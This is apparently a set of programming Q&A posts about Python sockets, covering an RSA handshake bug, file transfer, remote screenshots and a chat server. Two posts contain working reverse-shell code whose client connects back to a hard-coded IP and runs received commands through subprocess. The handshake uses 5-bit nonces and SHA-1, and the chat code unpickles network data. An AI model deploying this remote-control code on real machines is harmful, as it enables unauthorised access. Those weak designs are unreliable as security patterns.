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Client seems to hang after a specific reply from server

I am implementing an authentication process between a server and a client in order to exchange some information. I have created a function called serverToClientAuth on both server and client that carries out a basic back and forth communication to establish authenticated integrity checks of each other before exchanging some data.
When I run the server, followed by the client, the exchange occurs perfectly with encryption and hashing working as required but on the very last message from the server to the Client, the client seems to hang and is unable to exit the function and go back to normal operation Although the first 3 communications work fine, the last one does not for some reason.
I thought at first that it had something to do with the encryption/Decryption functions but as the first 3 operations work, I don't see why the last doesn't? It seems that the recieve_msg function is grabbing the last message instead of the authentication function, this is the final '12' output on the client window as seen below.
I have included both the server and client as well as the output of each below. If anyone has any idea as to why this hang is occurring, it would be greatly appreciated.
#Server.py
from socket import AF_INET, SOCK_STREAM, SOL_SOCKET, SO_REUSEADDR, socket
from threading import Thread
from signal import signal, SIGINT
import sys
import os
import random
import rsa
WELCOME_MSG = 'Server is active and awaiting connections'
def nonceGenerator():
num = ""
for i in range(5):
rand = random.randint(0,1)
num += str(rand)
return num
def generateAKeys():
(publicKey, privateKey) = rsa.newkeys(1024)
with open('keys/APubKey.pem', 'wb') as p:
p.write(publicKey.save_pkcs1('PEM'))
with open('keys/APrivKey.pem', 'wb') as p:
p.write(privateKey.save_pkcs1('PEM'))
def generateBKeys():
(publicKey, privateKey) = rsa.newkeys(1024)
with open('keys/BPubKey.pem', 'wb') as p:
p.write(publicKey.save_pkcs1('PEM'))
with open('keys/BPrivKey.pem', 'wb') as p:
p.write(privateKey.save_pkcs1('PEM'))
def generateCKeys():
(publicKey, privateKey) = rsa.newkeys(1024)
with open('keys/CPubKey.pem', 'wb') as p:
p.write(publicKey.save_pkcs1('PEM'))
with open('keys/CPrivKey.pem', 'wb') as p:
p.write(privateKey.save_pkcs1('PEM'))
def generateSKeys():
(publicKey, privateKey) = rsa.newkeys(1024)
with open('keys/SPubKey.pem', 'wb') as p:
p.write(publicKey.save_pkcs1('PEM'))
with open('keys/SPrivKey.pem', 'wb') as p:
p.write(privateKey.save_pkcs1('PEM'))
def loadKeys():
with open('keys/SPubKey.pem', 'rb') as p:
SPubKey = rsa.PublicKey.load_pkcs1(p.read())
with open('keys/SPrivKey.pem', 'rb') as p:
SPrivKey = rsa.PrivateKey.load_pkcs1(p.read())
with open('keys/APubKey.pem', 'rb') as p:
APubKey = rsa.PublicKey.load_pkcs1(p.read())
with open('keys/APrivKey.pem', 'rb') as p:
APrivKey = rsa.PrivateKey.load_pkcs1(p.read())
with open('keys/BPubKey.pem', 'rb') as p:
BPubKey = rsa.PublicKey.load_pkcs1(p.read())
with open('keys/BPrivKey.pem', 'rb') as p:
BPrivKey = rsa.PrivateKey.load_pkcs1(p.read())
with open('keys/CPubKey.pem', 'rb') as p:
CPubKey = rsa.PublicKey.load_pkcs1(p.read())
with open('keys/CPrivKey.pem', 'rb') as p:
CPrivKey = rsa.PrivateKey.load_pkcs1(p.read())
return SPubKey, SPrivKey, APubKey, APrivKey, BPubKey, BPrivKey, CPubKey, CPrivKey
def encrypt(message, key):
return rsa.encrypt(message.encode('utf8'), key)
def decrypt(ciphertext, key):
try:
return rsa.decrypt(ciphertext, key).decode('utf8')
except:
return False
def sign(message, key):
return rsa.sign(message.encode('utf8'), key, 'SHA-1')
def verify(message, signature, key):
try:
return rsa.verify(message.encode('utf8'), signature, key,) == 'SHA-1'
except:
return False
def incoming_connections():
while True:
client, addr = SERVER.accept()
print(f'A client has connected {addr}')
# client.send(WELCOME_MSG.encode())
Thread(target=single_client, args=(client,)).start()
print('Client connected')
def single_client(client):
client_name = client.recv(BUFFERSIZE).decode()
#client_name = 'Anonymous'
welcome_msg = f'Welcome {client_name}.\nType exit() or press CTRL+D or CTRL+C to exit.\n'
client.send(welcome_msg.encode())
chat_msg = f'{client_name} has joined the room'
broadcast_msg(chat_msg.encode())
clients[client] = client_name
serverToClientAuth(client) #Begin Authentication process upon reciving client
while True:
msg = client.recv(BUFFERSIZE)
if msg == 'online()'.encode('utf8'):
real_clients_num, real_clients_name = get_clients()
client.send(f'Online users {real_clients_num} : {real_clients_name}'.encode('utf8'))
elif msg == EXIT_CMD.encode('utf8'):
print(f'{clients[client]} has disconnected ')
client.send('You are leaving the room...'.encode())
client.close()
client_leaving = clients[client]
del clients[client]
broadcast_msg(f'{client_leaving} has left the room!'.encode())
break
elif '#'.encode('utf8') in msg:
unicast_msg(msg, client)
else:
broadcast_msg(msg, clients[client] + ': ')
def get_clients():
real_clients_num = 0
real_clients_name = []
for k,v in clients.items():
if v != 'Anonymous':
real_clients_num += 1
real_clients_name.append(v)
return real_clients_num, real_clients_name
def broadcast_msg(msg, name=""):
for client in clients:
client.send(name.encode() + msg)
def unicast_msg(msg, client):
# Get only name by removing #
msg = msg.decode('utf8')
refered_client, client_msg = msg.split(' ',1)
client_to_connect = refered_client.strip('#')
for k,v in clients.items():
if v == client_to_connect:
k.send(f'{clients[client]} -> {client_to_connect}: {client_msg}'.encode('utf8'))
def receive_msg():
while True:
try:
msg = client_socket.recv(BUFFERSIZE).decode("utf8")
print(msg)
except OSError as error:
return error
def serverToClientAuth(client):
Ka=bytes('1', 'utf8')
Kb=bytes('2', 'utf8')
Kc=3
user = clients[client] #A, B or C
message1 = client.recv(1024) #Nonce Na, Nb or Nc
NEnc, sig1 = message1[:128], message1[128:]
N = decrypt(NEnc, SPrivKey)
if verify(N, sig1, APubKey):
Ns = nonceGenerator() #Servers Nonce
NNs = "{}|{}".format(N, Ns)
NNsEnc = encrypt(NNs, APubKey)
sig2 = sign(NNs, SPrivKey)
message2 = NNsEnc + sig2
client.send(message2)
message3 = client.recv(1024)
NsXX = decrypt(message3, SPrivKey)
print(NsXX)
NsXX = NsXX.split("|")
if NsXX[0] == Ns: #Does the Nonce that client returned match what was sent?
if NsXX[1] == 'B' and NsXX[2] == 'C':
message4 = Ka + Kb
client.send(message4)
print("Client " + user + " has been authenticated to the server\n")
elif NsXX[1] == 'A' and NsXX[2] == 'C':
message4 = "{}|{}".format(Ka, Kc)
client.send(message4.encode('utf8'))
print("Client " + user + " has been authenticated to the server\n")
elif NsXX[1] == 'A' and NsXX[2] == 'B':
message4 = "{}|{}".format(Ka, Kb)
client.send(message4.encode('utf8'))
print("Client " + user + " has been authenticated to the server\n")
else:
print("Unrecognised identifier")
else:
print("Replied nonce from Client does not match")
else:
print('The message signature could not be verified')
if __name__ == "__main__":
clients = {}
generateAKeys()
generateBKeys()
generateCKeys()
generateSKeys()
SPubKey, SPrivKey, APubKey, APrivKey, BPubKey, BPrivKey, CPubKey, CPrivKey = loadKeys()
HOST = '127.0.0.1'
PORT = 5000
BUFFERSIZE = 1024
ADDR = (HOST, PORT)
EXIT_CMD = "exit()"
SERVER = socket(AF_INET, SOCK_STREAM)
SERVER.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
SERVER.bind(ADDR)
SERVER.listen(2)
print("Waiting for connection...")
ACCEPT_THREAD = Thread(target=incoming_connections)
ACCEPT_THREAD.start()
ACCEPT_THREAD.join()
SERVER.close()
The server file ^^^
#Client A
from socket import AF_INET, socket, SOCK_STREAM
from threading import Thread
from signal import signal, SIGINT
import sys
import os
import random
import rsa
def nonceGenerator():
num = ""
for i in range(5):
rand = random.randint(0,1)
num += str(rand)
return num
def loadKeys():
with open('keys/APubKey.pem', 'rb') as p:
APubKey = rsa.PublicKey.load_pkcs1(p.read())
with open('keys/APrivKey.pem', 'rb') as p:
APrivKey = rsa.PrivateKey.load_pkcs1(p.read())
with open('keys/SPubKey.pem', 'rb') as p:
SPubKey = rsa.PublicKey.load_pkcs1(p.read())
return APubKey, APrivKey, SPubKey
def encrypt(message, key):
return rsa.encrypt(message.encode('utf8'), key)
def decrypt(ciphertext, key):
try:
return rsa.decrypt(ciphertext, key).decode('utf8')
except:
return False
def sign(message, key):
return rsa.sign(message.encode('utf8'), key, 'SHA-1')
def verify(message, signature, key):
try:
return rsa.verify(message.encode('utf8'), signature, key,) == 'SHA-1'
except:
return False
def receive_msg():
while True:
try:
msg = client_socket.recv(BUFFERSIZE).decode("utf8")
print(msg)
except OSError as error:
return error
def keyBoard_Input():
while True:
try:
msg = input()
if msg != 'exit()':
client_socket.send(msg.encode('utf8'))
else:
clean_exit()
except EOFError:
clean_exit()
def send_msg(data):
try:
msg = data
if msg != 'exit()':
client_socket.send(msg.encode('utf8'))
else:
clean_exit()
except EOFError:
clean_exit()
def clean_exit():
client_socket.send('exit()'.encode('utf8'))
client_socket.close()
sys.exit(0)
def handler(signal_received, frame):
clean_exit()
def serverToClientAuth(client):
Na = nonceGenerator()
NaEnc = encrypt(Na, SPubKey)
sig1 = sign(Na, APrivKey)
message1 = NaEnc + sig1
client_socket.send(message1)
message2 = client_socket.recv(1024)
NaNsEnc, sig2 = message2[:128], message2[128:]
NaNs = decrypt(NaNsEnc, APrivKey)
if verify(NaNs, sig2, SPubKey):
NaNs = NaNs.split("|")
if NaNs[0] == Na:
Ns = NaNs[1]
print(Ns)
NsBC = "{}|{}|{}".format(Ns, 'B', 'C')
NsBCEnc = encrypt(NsBC, SPubKey) #No signature needed anymore
message3 = NsBCEnc
client_socket.send(message3)
print('Client gets stuick here')
message4 = client_socket.recv(1024)
print(message4)
message4 = message4.split("|")
APubKey, CPubKey = message3[0], message3[1]
print("Client B is Authenticated to the Server")
print("Ka = " + APubKey)
print("Kc = " + CPubKey)
else:
print("Replied nonce from server does not match")
else:
print('The message signature could not be verified')
if __name__ == '__main__':
signal(SIGINT, handler)
HOST = '127.0.0.1'
PORT = 5000
BUFFERSIZE = 1024
ADDR = (HOST, PORT)
client_socket = socket(AF_INET, SOCK_STREAM)
client_socket.connect(ADDR)
receive_thread = Thread(target=receive_msg)
receive_thread.start()
APubKey, APrivKey, SPubKey = loadKeys()
send_msg('A') #Assign Client ID at the moment the connection is initiated
serverToClientAuth(client_socket)
keyBoard_Input()
Client File ^^^^
Waiting for connection...
A client has connected ('127.0.0.1', 51407)
Client connected
01001|B|C
Client A has been authenticated to the server
Server response ^^^
Welcome A.
Type exit() or press CTRL+D or CTRL+C to exit.
01001
Client gets stuick here
12
Client Response ^^^
The '12' displayed here should be a '1|2' as that is the message sent by the server. However, it seems that the receive_msg function is actually taking the message instead of the function, causing the function to hang and wait for a message.

How to transfer a file through a socket with Tkinter GUI(Python)

I have a client that let user to browse a file and upload to a server. Currently I'm just using command terminal to operate the program. When user type in fup in the terminal , the program will ask for filename and the file will be upload to the server if the filename input by user is valid.
So, what i want now is letting user to browse any file directory from a GUI without typing the filename to upload. I've tried to implement filedialog but it seem like not working, when i browse and upload a file, the server does not received any new file. I stucked with issues almost a week already but still couldn't find any solution, hope someone could help me. Thanks in advance
Client.py
import socket, sys, os
import time, shutil
# socket creating
def sock():
try:
s = socket.socket()
host = input('Enter Target IP :')
port = 9999
s.connect((host, port))
return (host, s)
except:
print("Error: In binding")
sock()
host, s = sock()
# upload file to client
def fup(conn):
try:
filename = input("\nMANO >>Filename? -> ")
if os.path.isfile(filename):
conn.send(str("fup~" + filename).encode("utf-8"))
conn.send(str.encode("EXISTS " + str(os.path.getsize(filename))))
filesize = int(os.path.getsize(filename))
userResponse = conn.recv(1024).decode("utf-8")
if userResponse[:2] == 'OK':
with open(filename, 'rb') as f:
bytesToSend = f.read(1024)
conn.send(bytesToSend)
totalSend = len(bytesToSend)
while int(totalSend) < int(filesize):
bytesToSend = f.read(1024)
totalSend += len(bytesToSend)
conn.send(bytesToSend)
sys.stdout.write("\r|" + "█" * int((totalSend / float(filesize)) * 50) + "|{0:.2f}".format(
(totalSend / float(filesize)) * 100) + "% ")
sys.stdout.flush()
print("\nUpload Completed!")
else:
print("File Does Not Exist!")
except:
print("Error")
# download file from client
def fdown(conn):
try:
print(os.getcwd())
filename = input("\nMANO >>Filename? -> ")
if filename != 'q':
conn.send(("fdown~" + filename).encode("utf-8"))
data = conn.recv(1024).decode("utf-8")
if data[:6] == 'EXISTS':
filesize = data[6:]
msg = input("File exists, " + str(filesize) + "Bytes, download? (Y/N)? -> ").upper()
if msg == 'Y':
conn.send("OK".encode("utf-8"))
f = open(filename, 'wb')
data = (conn.recv(1024))
totalRecv = len(data)
f.write(data)
while int(totalRecv) < int(filesize):
data = conn.recv(1024)
totalRecv += len(data)
f.write(data)
sys.stdout.write("\r|" + "█" * int((totalRecv / float(filesize)) * 50) + "|{0:.2f}".format(
(totalRecv / float(filesize)) * 100) + "% ")
sys.stdout.flush()
time.sleep(0.01)
print("\nDownload Complete!")
f.close()
else:
print("File Does Not Exist!")
except:
print("Error")
# commands that perform on client
def mano(cip, conn):
while True:
cli = input("MANO >>" + cip + ' >>')
if cli == 'fdown':
fdown(conn)
elif cli == 'fup':
fup(conn)
else:
print("Command not recognized")
mano(host, s)
Server.py
import socket, os, subprocess, shutil, pickle, struct, threading
## gettig the hostname by socket.gethostname() method
hostname = socket.gethostname()
## getting the IP address using socket.gethostbyname() method
ip_address = socket.gethostbyname(hostname)
# Create a Socket ( connect two computers)
def create_socket():
try:
global host
global port
global s
host = ""
port = 9999
s = socket.socket()
except socket.error as msg:
create_socket()
# Binding the socket and listening for connections
def bind_socket():
try:
global host
global port
global s
s.bind((host, port))
s.listen(5)
## printing the hostname and ip_address
print(f"Hostname: {hostname}")
print(f"IP Address: {ip_address}")
print(f"Running Port: {port}")
except socket.error as msg:
bind_socket()
print(bind_socket())
# send file list
def flist(conn):
try:
arr = pickle.dumps(os.listdir())
conn.send(arr)
print(arr)
except:
conn.send(('Error').encode("utf-8"))
# accept file from server
def fdown(filename, conn):
try:
data = conn.recv(1024).decode("utf-8")
if data[:6] == 'EXISTS':
filesize = data[6:]
conn.send("OK".encode("utf-8"))
f = open(filename, 'wb')
data = (conn.recv(1024))
totalRecv = len(data)
f.write(data)
while int(totalRecv) < int(filesize):
data = conn.recv(1024)
totalRecv += len(data)
f.write(data)
f.close()
except:
conn.send(('Error').encode("utf-8"))
# send file
def fup(filename, conn):
if os.path.isfile(filename):
conn.send(str.encode("EXISTS " + str(os.path.getsize(filename))))
filesize = int(os.path.getsize(filename))
userResponse = conn.recv(1024).decode("utf-8")
if userResponse[:2] == 'OK':
with open(filename, 'rb') as f:
bytesToSend = f.read(1024)
conn.send(bytesToSend)
totalSend = len(bytesToSend)
while int(totalSend) < int(filesize):
bytesToSend = f.read(1024)
totalSend += len(bytesToSend)
conn.send(bytesToSend)
else:
conn.send("ERROR".encode("utf-8"))
# main
def main(s):
while True:
data = (s.recv(1024)).decode("utf-8").split('~')
if data[0] == 'fdown':
fup(data[1], s)
elif data[0] == 'fup':
fdown(data[1], s)
elif data[0] == 'flist':
flist(s)
else:
s.send(".".encode('utf-8'))
def socket_accept():
while True:
conn, address = s.accept()
t = threading.Thread(target=main, args=(conn,))
t.start()
create_socket()
bind_socket()
socket_accept()
Expected output:

since you are using a gui I think you should receive the inputs through the use of an tkinter.Entry widget not through the terminal with input()

How would I take a screenshot on a remote Windows machine and send it back?

I'm trying to take a screenshot on a remote Windows machine. For example, when you input the command "screenshot" on the server, it takes a screenshot on the client machine, saves it to a directory, and sends it back to the server. I already figured out the first part, but can't figure out how to send the saved file back.
Server:
import socket
import sys
import subprocess
host = '192.168.1.25'
port = 4444
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((host, port))
s.listen(1)
conn, addr = s.accept()
sendCommands(conn)
def sendCommands(conn):
cmd = input('console > ')
if len(str.encode(cmd)) > 0:
conn.send(str.encode(cmd))
clientResponse = str(conn.recv(1024), "utf-8")
print('\n' + clientResponse, end="")
Client:
import os
import sys
import subprocess
import socket
import autopy
def socketCreate():
global host
global port
global s
host = '192.168.1.25'
port = 4444
s = socket.socket()
def socketConnect():
global host
global port
global s
s.connect((host, port))
def recieveCommands():
global s
while True:
data = s.recv(1024)
if data[:].decode("utf-8") == 'screenshot':
path = r'C:\Windows\Temp\LocalCustom\ssh\new\custom'
screenshot = r'\screenshot.png'
if not os.path.exists(path):
os.makedirs(path)
try:
bitmap = autopy.bitmap.capture_screen()
bitmap.save(path + screenshot)
tookScreenShot = ('\n' + '[*] Succesfuly took screenshot at ' + path + '\n')
s.send(str.encode(tookScreenShot))
except:
screenshotFailed = ('\n' + "[!] Couldn't take screenshot " + '\n')
str(screenshotFailed)
s.send(str.encode(screenshotFailed))
else:
if len(data) > 0:
cmd = subprocess.Popen(data[:].decode('utf-8'), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
output_bytes = cmd.stdout.read() + cmd.stderr.read()
output_str = str(output_bytes, "utf-8")
s.send(str.encode("utf-8"))
s.close()
def main():
socketCreate()
socketConnect()
recieveCommands()
main()

You should send the as following from the client
f = open('tosend.jpg','rb')
print 'Sending the file'
file = f.read(1024)
while (file):
print 'Sending...'
s.send(file)
file = f.read(1024)
f.close()
print "Done Sending"
s.shutdown(socket.SHUT_WR)
print s.recv(1024)
s.close()
on server
while True:
file = open('C:/received.jpg','w')
l = s.recv(1024)
while l:
print "Receiving..."
file.write(l)
l = s.recv(1024)
file.close()
print "Done Receiving"
s.close()

Python -Multi client reverse shell with threads error

I am following thenewboston tutorial, I think I did pretty much the same like he did, line by line, but my reverse shell is not working, I am trying to run it locally. I am running MultiServer.py and then MultiClient.py but I get an error. I'll explain it in a second but first, here is my code:
MultiServer.py:
import socket
import time
from queue import Queue
import threading
# One thread to listen and create sockets, second thread to connect and send commands
NUMBER_OF_THREADS = 2
JOB_NUMBER = [1, 2]
queue = Queue()
all_connections = []
all_addresses = []
# Create socket (allows two computers to connect)
def socket_create():
try:
global host
global port
global s
host = '' # the server doesn't need to know the ip, only the client
port = 9992
s = socket.socket()
except socket.error as msg:
print('Socket creation error', str(msg))
# Bind socket to port and wait for connection from client
def socket_bind():
try:
global port
global s
print('Binding socket to port: ' + str(port))
s.bind((host, port))
s.listen(5)
except socket.error as msg:
print('Socket binding error', str(msg) + '\n' + 'Retrying...')
time.sleep(5)
socket_bind()
# Accept connections from multiple clients and save to list - Thread 1
def accept_connections():
for c in all_connections:
c.close()
del all_connections[:] # delete items from list
del all_addresses[:]
while 1:
try:
conn, address = s.accept()
conn.setblocking(1) # no timeout
all_connections.append(conn)
all_addresses.append(address)
print("\nConnection has been established: " + address[0] + ":" + address[1])
except:
print("Error accepting connections")
# Interactive prompt for sending commands remotely
def start_connection():
while 1:
cmd = input('> ')
if cmd == 'list':
list_connections()
elif 'select' in cmd:
conn = get_target(cmd)
if conn is not None:
send_target_commands(conn)
else:
print('Command not recognized')
# Displays all current connections
def list_connections():
results = ''
for i, conn in enumerate(all_connections): # enumerate - counter
try:
conn.send(str.encode(' ')) # check if the connection is valid by sending empty message
conn.recv(20480)
except:
del all_connections[i]
del all_addresses[i]
continue
results += 'Connection ' + str(i) + ' ' + str(all_addresses[i][0]) + ':' + str(all_addresses[i][1]) + '\n'
print('----- Clients -----' + '\n' + results)
# Selecting a target client
def get_target(cmd):
try:
target = cmd.replace('select ', '')
target = int(target)
conn = all_connections[target]
print('You are now connected to:', str(all_addresses[target][0]))
print(str(all_addresses[target][0]) + '> ', end='')
return conn
except:
print('Not a valid selection')
return None
# Connect with remote target client
def send_target_commands(conn):
while True:
try:
cmd = input()
if len(str.encode(cmd)) > 0:
conn.send(str.encode(cmd))
client_response = str(conn.recv(20480), 'utf-8')
print(client_response, end='')
if cmd == 'quit':
break
except:
print('Connection lost')
break
# Create the threads
def create_threads():
for _ in range(NUMBER_OF_THREADS):
t = threading.Thread(target=work)
t.daemon = True # the thread will die when main program exit
t.start()
# Each list item is a new job
def create_jobs():
for x in JOB_NUMBER:
queue.put(x)
queue.join() # the queue is like a to-do list, we added 1 and 2 to the queue
# Do the next job in the queue (one handles connections, the other sends commands)
def work():
while True:
x = queue.get() # will be equal to 1 and then will be 2
if x == 1:
socket_create()
socket_bind()
accept_connections()
if x == 2:
start_connection()
queue.task_done()
create_threads()
create_jobs()
MultiClient.py
import os
import socket
import subprocess
import time
# Create a socket
def socket_create():
try:
global host
global port
global s
host = '192.168.1.33'
port = 9992
s = socket.socket()
except socket.error as msg:
print('Socket creation error:', str(msg))
# Connect to a remote socket
def socket_connect():
try:
global host
global port
global s
s.connect((host, port))
except socket.error as msg:
print('Socket connection error:', str(msg))
time.sleep(5)
socket_connect()
# Receive commands from remote server and run on local machine
def receive_commands():
while True:
data = s.recv(20480)
if data[:2].decode('utf-8') == 'cd':
try:
os.chdir(data[3:].decode('utf-8'))
except:
pass
if data[:].deocde('utf-8') == 'quit':
s.close()
break
if len(data) > 0:
try:
cmd = subprocess.Popen(data[:].decode('utf-8'), shell=True, stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
stdin=subprocess.PIPE) # run command in terminal
output_bytes = cmd.stdout.read() + cmd.stderr.read()
output_str = str(output_bytes, 'utf-8')
s.send(str.encode(output_str + str(os.getcwd()) + '> '))
print(output_str)
except:
output_str = 'Command not recognized' + '\n'
s.send(str.encode(output_str + str(os.getcwd()) + '> '))
print(output_str)
s.close()
def main():
global s
try:
socket_create()
socket_connect()
receive_commands()
except:
print('Error in main')
time.sleep(5)
s.close()
main()
main()
So, in the tutorial we first created a simple reverse shell that can contain only one client, and it was working for me fine. if needed, here is the code:
Client.py:
import os
import socket
import subprocess
s = socket.socket()
host = '127.0.0.1'
port = 9997
s.connect((host, port))
while True:
data = s.recv(1024)
if data[:2].decode('utf-8') == 'cd':
os.chdir(data[3:].decode('utf-8'))
if len(data) > 0:
cmd = subprocess.Popen(data[:].decode('utf-8'), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE,
stdin=subprocess.PIPE) # run command in terminal
output_bytes = cmd.stdout.read() + cmd.stderr.read()
output_str = str(output_bytes, 'utf-8')
s.send(str.encode(output_str + str(os.getcwd()) + '> '))
print(output_str)
# close connection
s.close()
Server.py:
import socket
import sys
# Create socket (allows two computers to connect)
def socket_create():
try:
global host
global port
global s
host = '' # the server doesn't need to know the ip, only the client
port = 9997
s = socket.socket()
except socket.error as msg:
print('Socket creation error', str(msg))
# Bind socket to port and wait for connection from client
def socket_bind():
try:
global host
global port
global s
print('Binding socket to port: ' + str(port))
s.bind((host, port))
s.listen(5)
except socket.error as msg:
print('Socket binding error', str(msg) + '\n' + 'Retrying...')
socket_bind()
# Establish a connection with client (socket must be listening for them)
def socket_accept():
conn, address = s.accept()
print('Connection has been established | ' + 'IP ' + address[0] + ' | Port ' + str(address[1]))
send_commands(conn)
conn.close()
# Send commands
def send_commands(conn):
while True:
cmd = input('')
if cmd == 'quit':
conn.close()
s.close()
sys.exit()
if len(str.encode(cmd)) > 0: # system commands are bytes and not strings
conn.send(str.encode(cmd))
client_response = str(conn.recv(1024), 'utf-8')
print(client_response, end='')
def main():
socket_create()
socket_bind()
socket_accept()
main()
As I understood it can be a problem with the firewall so the code may be fine, but a check from an other computer will be great for me. Also, I haven't specified the error I receive, when running MultiServer.py and the MultiClient.py I get the message:
C:\Python34\python.exe C:/Users/dodob/PycharmProjects/ReverseShell/MultiClient/MultiServer.py
> Binding socket to port: 9992
Error accepting connections
I am currently trying this on windows, I also have Linux and I haven't tried to run this there. I tried to disable 'windows firewall with advanced security' but no help.

How can I make multiclient server in python using multithreading?

This is the code that I have used.But I don't get actual result that I want.When I execute code ChatServer file works properly,but ChatClient gives only one line(Usage : python telnet.py hostname port).Please Help me.I am new in python.
The server code:
#!/usr/bin/env python
#!/usr/bin/env python
"""
A basic, multiclient 'chat server' using Python's select module
with interrupt handling.
Entering any line of input at the terminal will exit the server.
"""
import select
import socket
import sys
import signal
from communication import send, receive
BUFSIZ = 1024
class ChatServer(object):
""" Simple chat server using select """
def __init__(self, port=3490, backlog=5):
self.clients = 0
# Client map
self.clientmap = {}
# Output socket list
self.outputs = []
self.server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.server.bind(('',port))
print 'Listening to port',port,'...'
self.server.listen(backlog)
# Trap keyboard interrupts
signal.signal(signal.SIGINT, self.sighandler)
def sighandler(self, signum, frame):
# Close the server
print 'Shutting down server...'
# Close existing client sockets
for o in self.outputs:
o.close()
self.server.close()
def getname(self, client):
# Return the printable name of the
# client, given its socket...
info = self.clientmap[client]
host, name = info[0][0], info[1]
return '#'.join((name, host))
def serve(self):
inputs = [self.server,sys.stdin]
self.outputs = []
running = 1
while running:
try:
inputready,outputready,exceptready = select.select(inputs, self.outputs, [])
except select.error, e:
break
except socket.error, e:
break
for s in inputready:
if s == self.server:
# handle the server socket
client, address = self.server.accept()
print 'chatserver: got connection %d from %s' % (client.fileno(), address)
# Read the login name
cname = receive(client).split('NAME: ')[1]
# Compute client name and send back
self.clients += 1
send(client, 'CLIENT: ' + str(address[0]))
inputs.append(client)
self.clientmap[client] = (address, cname)
# Send joining information to other clients
msg = '\n(Connected: New client (%d) from %s)' % (self.clients, self.getname(client))
for o in self.outputs:
# o.send(msg)
send(o, msg)
self.outputs.append(client)
elif s == sys.stdin:
# handle standard input
junk = sys.stdin.readline()
running = 0
else:
# handle all other sockets
try:
# data = s.recv(BUFSIZ)
data = receive(s)
if data:
# Send as new client's message...
msg = '\n#[' + self.getname(s) + ']>> ' + data
# Send data to all except ourselves
for o in self.outputs:
if o != s:
# o.send(msg)
send(o, msg)
else:
print 'chatserver: %d hung up' % s.fileno()
self.clients -= 1
s.close()
inputs.remove(s)
self.outputs.remove(s)
# Send client leaving information to others
msg = '\n(Hung up: Client from %s)' % self.getname(s)
for o in self.outputs:
# o.send(msg)
send(o, msg)
except socket.error, e:
# Remove
inputs.remove(s)
self.outputs.remove(s)
self.server.close()
if __name__ == "__main__":
ChatServer().serve()
The chat client:
#! /usr/bin/env python
"""
Simple chat client for the chat server. Defines
a simple protocol to be used with chatserver.
"""
import socket
import sys
import select
from communication import send, receive
BUFSIZ = 1024
class ChatClient(object):
""" A simple command line chat client using select """
def __init__(self, name, host='127.0.0.1', port=3490):
self.name = name
# Quit flag
self.flag = False
self.port = int(port)
self.host = host
# Initial prompt
self.prompt='[' + '#'.join((name, socket.gethostname().split('.')[0])) + ']> '
# Connect to server at port
try:
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.connect((host, self.port))
print 'Connected to chat server#%d' % self.port
# Send my name...
send(self.sock,'NAME: ' + self.name)
data = receive(self.sock)
# Contains client address, set it
addr = data.split('CLIENT: ')[1]
self.prompt = '[' + '#'.join((self.name, addr)) + ']> '
except socket.error, e:
print 'Could not connect to chat server #%d' % self.port
sys.exit(1)
def cmdloop(self):
while not self.flag:
try:
sys.stdout.write(self.prompt)
sys.stdout.flush()
# Wait for input from stdin & socket
inputready, outputready,exceptrdy = select.select([0, self.sock], [],[])
for i in inputready:
if i == 0:
data = sys.stdin.readline().strip()
if data: send(self.sock, data)
elif i == self.sock:
data = receive(self.sock)
if not data:
print 'Shutting down.'
self.flag = True
break
else:
sys.stdout.write(data + '\n')
sys.stdout.flush()
except KeyboardInterrupt:
print 'Interrupted.'
self.sock.close()
break
if __name__ == "__main__":
import sys
if len(sys.argv)<3:
sys.exit('Usage: %s chatid host portno' % sys.argv[0])
client = ChatClient(sys.argv[1],sys.argv[2], int(sys.argv[3]))
client.cmdloop()
###############################################################################
# The communication module (communication.py)
###############################################################################
import cPickle
import socket
import struct
marshall = cPickle.dumps
unmarshall = cPickle.loads
def send(channel, *args):
buf = marshall(args)
value = socket.htonl(len(buf))
size = struct.pack("L",value)
channel.send(size)
channel.send(buf)
def receive(channel):
size = struct.calcsize("L")
size = channel.recv(size)
try:
size = socket.ntohl(struct.unpack("L", size)[0])
except struct.error, e:
return ''
buf = ""
while len(buf) < size:
buf = channel.recv(size - len(buf))
return unmarshall(buf)[0]